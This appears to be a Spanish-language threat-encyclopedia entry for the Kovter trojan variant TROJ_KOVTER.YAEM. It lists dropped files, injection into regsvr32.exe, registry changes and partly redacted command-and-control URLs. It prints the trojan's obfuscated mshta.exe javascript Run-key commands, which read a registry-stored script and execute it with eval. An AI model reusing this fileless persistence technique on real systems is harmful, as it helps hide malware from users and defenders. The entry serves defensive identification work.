TROJ_KOVTER.YAEM

Puede haberlo descargado otro malware/grayware/spyware desde sitios remotos.

Se conecta a determinados sitios Web para enviar y recibir información.

Detalles de entrada

Puede haberlo descargado otro malware/grayware/spyware desde sitios remotos.

Instalación

Infiltra los archivos siguientes:

• %Application Data%\{random string}\{random}.lnk - link to Batch file
• %Application Data%\{random string}\{random}.bat - starts Encrypted file
• %Application Data%\{random string}\{random}.{random} - Encrypted file

(Nota: %Application Data% es la carpeta Application Data del usuario activo, que en el caso de Windows 98 y ME suele estar ubicada en C:\Windows\Profiles\{nombre de usuario}\Application Data, en el caso de Windows NT en C:\WINNT\Profiles\{nombre de usuario}\Application Data y en el caso de Windows 2000, XP y Server 2003 en C:\Documents and Settings\{nombre de usuario}\Local Settings\Application Data).

Crea las siguientes copias de sí mismo en el sistema afectado:

• %Application Data%\{random string}\{random string}.exe

(Nota: %Application Data% es la carpeta Application Data del usuario activo, que en el caso de Windows 98 y ME suele estar ubicada en C:\Windows\Profiles\{nombre de usuario}\Application Data, en el caso de Windows NT en C:\WINNT\Profiles\{nombre de usuario}\Application Data y en el caso de Windows 2000, XP y Server 2003 en C:\Documents and Settings\{nombre de usuario}\Local Settings\Application Data).

Crea las carpetas siguientes:

• %Application Data%\{random string}

(Nota: %Application Data% es la carpeta Application Data del usuario activo, que en el caso de Windows 98 y ME suele estar ubicada en C:\Windows\Profiles\{nombre de usuario}\Application Data, en el caso de Windows NT en C:\WINNT\Profiles\{nombre de usuario}\Application Data y en el caso de Windows 2000, XP y Server 2003 en C:\Documents and Settings\{nombre de usuario}\Local Settings\Application Data).

Este malware inyecta códigos en el/los siguiente(s) proceso(s):

• regsvr32.exe

Técnica de inicio automático

Agrega las siguientes entradas de registro para permitir su ejecución automática cada vez que se inicia el sistema:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
(Default) = "%System%\mshta.exe" javascript:inN3O="SDR";qo32=new%20ActiveXObject("WScript.Shell");Yge33ypL="3KM3A7Nl";V8Vff=qo32.RegRead("HKCU\software\jcso\cmpvtwstcm");B1Hbd1="8";eval(V8Vff);dlzfo22l="S"

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
(Default) = "%Application Data%\{random string}\{random string}.exe"

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Run
(Default) = "%System%\mshta.exe" javascript:WNoRT5J="vqTkM1N";Q0r=new%20ActiveXObject("WScript.Shell");GnQ4MZvR="iirRNkC";t34Oos=Q0r.RegRead("HKLM\software\jcso\cmpvtwstcm");tP4Pz6="Cx";eval(t34Oos);ds25Uc="KW"

Otras modificaciones del sistema

Agrega las siguientes entradas de registro como parte de la rutina de instalación:

HKEY_CURRENT_USER\Software\{Random String 1}

HKEY_CURRENT_USER\Software\{Random String 1}
{random string} = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; InfoPath.2)"

HKEY_CURRENT_USER\Software\{Random String 1}
{random string} = {data}

HKEY_CURRENT_USER\Software\{Random String 1}
{random string} = "%Application Data%\{random string}\{random}.exe"

HKEY_CURRENT_USER\Software\{Random String 1}
{Random String 3} = {Encrypted Data}

HKEY_CURRENT_USER\Software\{Random String 1}
{Random String 4} = {Loader Script}

HKEY_LOCAL_MACHINE\Software\{Random String 1}

HKEY_LOCAL_MACHINE\Software\{Random String 1}
{random string} = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; InfoPath.2)"

HKEY_LOCAL_MACHINE\Software\{Random String 1}
{random string} = {data}

HKEY_LOCAL_MACHINE\Software\{Random String 1}
{random string} = "%Application Data%\{random string}\{random}.exe"

HKEY_LOCAL_MACHINE\Software\{Random String 1}
{Random String 3} = {Encrypted Data}

HKEY_LOCAL_MACHINE\Software\{Random String 1}
{Random String 4} = {Loader Script}

HKEY_CURRENT_USER\Software\Microsoft\
Internet Explorer\Main\FeatureControl\
FEATURE_BROWSER_EMULATION
regsvr32.exe = 000022b8

HKEY_CURRENT_USER\Software\Microsoft\
Internet Explorer\Main\FeatureControl\
FEATURE_BROWSER_EMULATION
iexplore.exe = 000022b8

HKEY_LOCAL_MACHINE\Software\Microsoft\
Internet Explorer\Main\FeatureControl\
FEATURE_BROWSER_EMULATION
regsvr32.exe = 000022b8

HKEY_LOCAL_MACHINE\Software\Microsoft\
Internet Explorer\Main\FeatureControl\
FEATURE_BROWSER_EMULATION
iexplore.exe = 000022b8

Otros detalles

Se conecta al sitio Web siguiente para enviar y recibir información:

• http://{BLOCKED}.{BLOCKED}.72.90/upload.php
• http://{BLOCKED}.{BLOCKED}.109.69